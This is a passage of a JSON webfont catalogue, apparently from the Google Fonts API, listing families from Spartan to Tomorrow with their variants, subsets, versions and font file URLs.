"http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuG6OChXtf4qS.ttf", "200": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFuW6OChXtf4qS.ttf", "300": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrHbuW6OChXtf4qS.ttf", "500": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrG3uW6OChXtf4qS.ttf", "600": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFbvm6OChXtf4qS.ttf", "700": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFivm6OChXtf4qS.ttf", "800": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFvm6OChXtf4qS.ttf", "900": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEsvm6OChXtf4qS.ttf", "regular": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuW6OChXtf4qS.ttf" } }, { "kind": "webfonts#webfont", "family": "Special Elite", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/specialelite/v10/XLYgIZbkc4JPUL5CVArUVL0nhncESXFtUsM.ttf" } }, { "kind": "webfonts#webfont", "family": "Spectral", "category": "serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9v2s13GY_etWWIJ.ttf", "300": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uSsF3GY_etWWIJ.ttf", "500": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vKsV3GY_etWWIJ.ttf", "600": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vmtl3GY_etWWIJ.ttf", "700": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uCt13GY_etWWIJ.ttf", "800": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uetF3GY_etWWIJ.ttf", "200italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qrXHafOPXHIJErY.ttf", "300italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qtHEafOPXHIJErY.ttf", "regular": "http://fonts.gstatic.com/s/spectral/v6/rnCr-xNNww_2s0amA-M-mHnOSOuk.ttf", "italic": "http://fonts.gstatic.com/s/spectral/v6/rnCt-xNNww_2s0amA9M8kn3sTfukQHs.ttf", "500italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qonFafOPXHIJErY.ttf", "600italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qqXCafOPXHIJErY.ttf", "700italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qsHDafOPXHIJErY.ttf", "800italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qt3AafOPXHIJErY.ttf" } }, { "kind": "webfonts#webfont", "family": "Spectral SC", "category": "serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "cyrillic", "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1qwkTXPYeVXJZB.ttf", "300": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0OwUTXPYeVXJZB.ttf", "500": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1WwETXPYeVXJZB.ttf", "600": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs16x0TXPYeVXJZB.ttf", "700": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0exkTXPYeVXJZB.ttf", "800": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0CxUTXPYeVXJZB.ttf", "200italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg26zWN4O3WYZB_sU.ttf", "300italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28jVN4O3WYZB_sU.ttf", "regular": "http://fonts.gstatic.com/s/spectralsc/v5/KtkpALCRZonmalTgyPmRfvWi6WDfFpuc.ttf", "italic": "http://fonts.gstatic.com/s/spectralsc/v5/KtkrALCRZonmalTgyPmRfsWg42T9E4ucRY8.ttf", "500italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg25DUN4O3WYZB_sU.ttf", "600italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg27zTN4O3WYZB_sU.ttf", "700italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg29jSN4O3WYZB_sU.ttf", "800italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28TRN4O3WYZB_sU.ttf" } }, { "kind": "webfonts#webfont", "family": "Spicy Rice", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/spicyrice/v8/uK_24rSEd-Uqwk4jY1RyGv-2WkowRcc.ttf" } }, { "kind": "webfonts#webfont", "family": "Spinnaker", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/spinnaker/v11/w8gYH2oyX-I0_rvR6Hmn3HwLqOqSBg.ttf" } }, { "kind": "webfonts#webfont", "family": "Spirax", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/spirax/v8/buE3poKgYNLy0F3cXktt-Csn-Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Squada One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/squadaone/v8/BCasqZ8XsOrx4mcOk6MtWaA8WDBkHgs.ttf" } }, { "kind": "webfonts#webfont", "family": "Sree Krushnadevaraya", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sreekrushnadevaraya/v7/R70FjzQeifmPepmyQQjQ9kvwMkWYPfTA_EWb2FhQuXir.ttf" } }, { "kind": "webfonts#webfont", "family": "Sriracha", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sriracha/v4/0nkrC9D4IuYBgWcI9ObYRQDioeb0.ttf" } }, { "kind": "webfonts#webfont", "family": "Srisakdi", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "700": "http://fonts.gstatic.com/s/srisakdi/v3/yMJWMIlvdpDbkB0A-gIAUghxoNFxW0Hz.ttf", "regular": "http://fonts.gstatic.com/s/srisakdi/v3/yMJRMIlvdpDbkB0A-jq8fSx5i814.ttf" } }, { "kind": "webfonts#webfont", "family": "Staatliches", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v3", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/staatliches/v3/HI_OiY8KO6hCsQSoAPmtMbectJG9O9PS.ttf" } }, { "kind": "webfonts#webfont", "family": "Stalemate", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stalemate/v7/taiIGmZ_EJq97-UfkZRpuqSs8ZQpaQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Stalinist One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v25", "lastModified": "2019-12-05", "files": { "regular": "http://fonts.gstatic.com/s/stalinistone/v25/MQpS-WezM9W4Dd7D3B7I-UT7eZ-UPyacPbo.ttf" } }, { "kind": "webfonts#webfont", "family": "Stardos Stencil", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-26", "files": { "700": "http://fonts.gstatic.com/s/stardosstencil/v10/X7n44bcuGPC8hrvEOHXOgaKCc2TpU3tTvg-t29HSHw.ttf", "regular": "http://fonts.gstatic.com/s/stardosstencil/v10/X7n94bcuGPC8hrvEOHXOgaKCc2TR71R3tiSx0g.ttf" } }, { "kind": "webfonts#webfont", "family": "Stint Ultra Condensed", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stintultracondensed/v8/-W_gXIrsVjjeyEnPC45qD2NoFPtBE0xCh2A-qhUO2cNvdg.ttf" } }, { "kind": "webfonts#webfont", "family": "Stint Ultra Expanded", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stintultraexpanded/v7/CSRg4yNNh-GbW3o3JkwoDcdvMKMf0oBAd0qoATQkWwam.ttf" } }, { "kind": "webfonts#webfont", "family": "Stoke", "category": "serif", "variants": [ "300", "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/stoke/v9/z7NXdRb7aTMfKNvFVgxC_pjcTeWU.ttf", "regular": "http://fonts.gstatic.com/s/stoke/v9/z7NadRb7aTMfKONpfihK1YTV.ttf" } }, { "kind": "webfonts#webfont", "family": "Strait", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/strait/v7/DtViJxy6WaEr1LZzeDhtkl0U7w.ttf" } }, { "kind": "webfonts#webfont", "family": "Stylish", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stylish/v8/m8JSjfhPYriQkk7-fo35dLxEdmo.ttf" } }, { "kind": "webfonts#webfont", "family": "Sue Ellen Francisco", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sueellenfrancisco/v10/wXK3E20CsoJ9j1DDkjHcQ5ZL8xRaxru9ropF2lqk9H4.ttf" } }, { "kind": "webfonts#webfont", "family": "Suez One", "category": "serif", "variants": [ "regular" ], "subsets": [ "hebrew", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suezone/v4/taiJGmd_EZ6rqscQgNFJkIqg-I0w.ttf" } }, { "kind": "webfonts#webfont", "family": "Sulphur Point", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLpkK5vv8KaycDcazWFPBj2afVU6n6kFUHPIFaU.ttf", "700": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLpkK5vv8KaycDcazWFPBj2afUU9n6kFUHPIFaU.ttf", "regular": "http://fonts.gstatic.com/s/sulphurpoint/v1/RLp5K5vv8KaycDcazWFPBj2aRfkSu6EuTHo.ttf" } }, { "kind": "webfonts#webfont", "family": "Sumana", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/sumana/v4/4UaArE5TqRBjGj--TDfG54fN6ppsKg.ttf", "regular": "http://fonts.gstatic.com/s/sumana/v4/4UaDrE5TqRBjGj-G8Bji76zR4w.ttf" } }, { "kind": "webfonts#webfont", "family": "Sunflower", "category": "sans-serif", "variants": [ "300", "500", "700" ], "subsets": [ "korean", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-06MfiqYsGBGBzCw.ttf", "500": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0sMbiqYsGBGBzCw.ttf", "700": "http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0-MDiqYsGBGBzCw.ttf" } }, { "kind": "webfonts#webfont", "family": "Sunshiney", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sunshiney/v10/LDIwapGTLBwsS-wT4vcgE8moUePWkg.ttf" } }, { "kind": "webfonts#webfont", "family": "Supermercado One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/supermercadoone/v9/OpNXnpQWg8jc_xps_Gi14kVVEXOn60b3MClBRTs.ttf" } }, { "kind": "webfonts#webfont", "family": "Sura", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/sura/v4/SZc53FL5PbyzLUJ7fz3GkUrS8DI.ttf", "regular": "http://fonts.gstatic.com/s/sura/v4/SZc23FL5PbyzFf5UWzXtjUM.ttf" } }, { "kind": "webfonts#webfont", "family": "Suranna", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suranna/v7/gokuH6ztGkFjWe58tBRZT2KmgP0.ttf" } }, { "kind": "webfonts#webfont", "family": "Suravaram", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suravaram/v6/_gP61R_usiY7SCym4xIAi261Qv9roQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Suwannaphum", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/suwannaphum/v13/jAnCgHV7GtDvc8jbe8hXXIWl_8C0Wg2V.ttf" } }, { "kind": "webfonts#webfont", "family": "Swanky and Moo Moo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/swankyandmoomoo/v9/flUlRrKz24IuWVI_WJYTYcqbEsMUZ3kUtbPkR64SYQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Syncopate", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/syncopate/v11/pe0pMIuPIYBCpEV5eFdKvtKaA_Rue1UwVg.ttf", "regular": "http://fonts.gstatic.com/s/syncopate/v11/pe0sMIuPIYBCpEV5eFdyAv2-C99ycg.ttf" } }, { "kind": "webfonts#webfont", "family": "Tajawal", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "700", "800", "900" ], "subsets": [ "arabic", "latin" ], "version": "v3", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l_6gLrZjiLlJ-G0.ttf", "300": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5qjLrZjiLlJ-G0.ttf", "500": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l8KiLrZjiLlJ-G0.ttf", "700": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l4qkLrZjiLlJ-G0.ttf", "800": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5anLrZjiLlJ-G0.ttf", "900": "http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l7KmLrZjiLlJ-G0.ttf", "regular": "http://fonts.gstatic.com/s/tajawal/v3/Iura6YBj_oCad4k1rzaLCr5IlLA.ttf" } }, { "kind": "webfonts#webfont", "family": "Tangerine", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/tangerine/v11/Iurd6Y5j_oScZZow4VO5srNpjJtM6G0t9w.ttf", "regular": "http://fonts.gstatic.com/s/tangerine/v11/IurY6Y5j_oScZZow4VOBDpxNhLBQ4Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Taprom", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/taprom/v11/UcCn3F82JHycULbFQyk3-0kvHg.ttf" } }, { "kind": "webfonts#webfont", "family": "Tauri", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tauri/v8/TwMA-IISS0AM3IpVWHU_TBqO.ttf" } }, { "kind": "webfonts#webfont", "family": "Taviraj", "category": "serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/taviraj/v5/ahcbv8Cj3ylylTXzRIorV8N1jU2gog.ttf", "200": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRCYKd-lbgUS5u0s.ttf", "300": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzREIJd-lbgUS5u0s.ttf", "500": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRBoId-lbgUS5u0s.ttf", "600": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRDYPd-lbgUS5u0s.ttf", "700": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRFIOd-lbgUS5u0s.ttf", "800": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRE4Nd-lbgUS5u0s.ttf", "900": "http://fonts.gstatic.com/s/taviraj/v5/ahccv8Cj3ylylTXzRGoMd-lbgUS5u0s.ttf", "100italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcdv8Cj3ylylTXzTOwTM8lxr0iwolLl.ttf", "200italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTn-hRhWa8q0v8ag.ttf", "300italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT--tRhWa8q0v8ag.ttf", "regular": "http://fonts.gstatic.com/s/taviraj/v5/ahcZv8Cj3ylylTXzfO4hU-FwnU0.ttf", "italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcbv8Cj3ylylTXzTOwrV8N1jU2gog.ttf", "500italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTo-pRhWa8q0v8ag.ttf", "600italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwTj-1RhWa8q0v8ag.ttf", "700italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT6-xRhWa8q0v8ag.ttf", "800italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT9-9RhWa8q0v8ag.ttf", "900italic": "http://fonts.gstatic.com/s/taviraj/v5/ahcev8Cj3ylylTXzTOwT0-5RhWa8q0v8ag.ttf" } }, { "kind": "webfonts#webfont", "family": "Teko", "category": "sans-serif", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdQhfgCNqqVIuTN4.ttf", "500": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdVBegCNqqVIuTN4.ttf", "600": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdXxZgCNqqVIuTN4.ttf", "700": "http://fonts.gstatic.com/s/teko/v9/LYjCdG7kmE0gdRhYgCNqqVIuTN4.ttf", "regular": "http://fonts.gstatic.com/s/teko/v9/LYjNdG7kmE0gTaR3pCtBtVs.ttf" } }, { "kind": "webfonts#webfont", "family": "Telex", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/telex/v8/ieVw2Y1fKWmIO9fTB1piKFIf.ttf" } }, { "kind": "webfonts#webfont", "family": "Tenali Ramakrishna", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tenaliramakrishna/v6/raxgHj6Yt9gAN3LLKs0BZVMo8jmwn1-8KJXqUFFvtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Tenor Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/tenorsans/v11/bx6ANxqUneKx06UkIXISr3JyC22IyqI.ttf" } }, { "kind": "webfonts#webfont", "family": "Text Me One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/textmeone/v7/i7dOIFdlayuLUvgoFvHQFWZcalayGhyV.ttf" } }, { "kind": "webfonts#webfont", "family": "Thasadith", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "700": "http://fonts.gstatic.com/s/thasadith/v3/mtG94_1TIqPYrd_f5R1gDGYw2A6yHk9d8w.ttf", "regular": "http://fonts.gstatic.com/s/thasadith/v3/mtG44_1TIqPYrd_f5R1YsEkU0CWuFw.ttf", "italic": "http://fonts.gstatic.com/s/thasadith/v3/mtG-4_1TIqPYrd_f5R1oskMQ8iC-F1ZE.ttf", "700italic": "http://fonts.gstatic.com/s/thasadith/v3/mtGj4_1TIqPYrd_f5R1osnus3QS2PEpN8zxA.ttf" } }, { "kind": "webfonts#webfont", "family": "The Girl Next Door", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/thegirlnextdoor/v10/pe0zMJCIMIsBjFxqYBIcZ6_OI5oFHCYIV7t7w6bE2A.ttf" } }, { "kind": "webfonts#webfont", "family": "Tienne", "category": "serif", "variants": [ "regular", "700", "900" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/tienne/v12/AYCJpX7pe9YCRP0zLGzjQHhuzvef5Q.ttf", "900": "http://fonts.gstatic.com/s/tienne/v12/AYCJpX7pe9YCRP0zFG7jQHhuzvef5Q.ttf", "regular": "http://fonts.gstatic.com/s/tienne/v12/AYCKpX7pe9YCRP0LkEPHSFNyxw.ttf" } }, { "kind": "webfonts#webfont", "family": "Tillana", "category": "handwriting", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQFL-HIlMZRNcp0o.ttf", "600": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQH75HIlMZRNcp0o.ttf", "700": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQBr4HIlMZRNcp0o.ttf", "800": "http://fonts.gstatic.com/s/tillana/v5/VuJ0dNvf35P4qJ1OQAb7HIlMZRNcp0o.ttf", "regular": "http://fonts.gstatic.com/s/tillana/v5/VuJxdNvf35P4qJ1OeKbXOIFneRo.ttf" } }, { "kind": "webfonts#webfont", "family": "Timmana", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "telugu" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/timmana/v4/6xKvdShfL9yK-rvpCmvbKHwJUOM.ttf" } }, { "kind": "webfonts#webfont", "family": "Tinos", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "hebrew", "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/tinos/v13/buE1poGnedXvwj1AW0Fp2i43-cxL.ttf", "regular": "http://fonts.gstatic.com/s/tinos/v13/buE4poGnedXvwgX8dGVh8TI-.ttf", "italic": "http://fonts.gstatic.com/s/tinos/v13/buE2poGnedXvwjX-fmFD9CI-4NU.ttf", "700italic": "http://fonts.gstatic.com/s/tinos/v13/buEzpoGnedXvwjX-Rt1s0CoV_NxLeiw.ttf" } }, { "kind": "webfonts#webfont", "family": "Titan One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/titanone/v7/mFTzWbsGxbbS_J5cQcjykzIn2Etikg.ttf" } }, { "kind": "webfonts#webfont", "family": "Titillium Web", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "900" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-22", "files": { "200": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffAzHKIx5YrSYqWM.ttf", "300": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffGjEKIx5YrSYqWM.ttf", "600": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffBzCKIx5YrSYqWM.ttf", "700": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffHjDKIx5YrSYqWM.ttf", "900": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPDcZTIAOhVxoMyOr9n_E7ffEDBKIx5YrSYqWM.ttf", "200italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbewI1zZpaduWMmxA.ttf", "300italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbepI5zZpaduWMmxA.ttf", "regular": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPecZTIAOhVxoMyOr9n_E7fRMTsDIRSfr0.ttf", "italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPAcZTIAOhVxoMyOr9n_E7fdMbmCKZXbr2BsA.ttf", "600italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbe0IhzZpaduWMmxA.ttf", "700italic": "http://fonts.gstatic.com/s/titilliumweb/v8/NaPFcZTIAOhVxoMyOr9n_E7fdMbetIlzZpaduWMmxA.ttf" } }, { "kind": "webfonts#webfont", "family": "Tomorrow", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v2", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/tomorrow/v2/WBLgrETNbFtZCeGqgR2xe2XiKMiokE4.ttf", "200": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0dWkXIBsShiVd4.ttf", "300": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR15WUXIBsShiVd4.ttf", "500": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0hWEXIBsShiVd4.ttf", "600": "http://fonts.gstatic.com/s/tomorrow/v2/WBLhrETNbFtZCeGqgR0NX0XIBsShiVd4.ttf", "700": 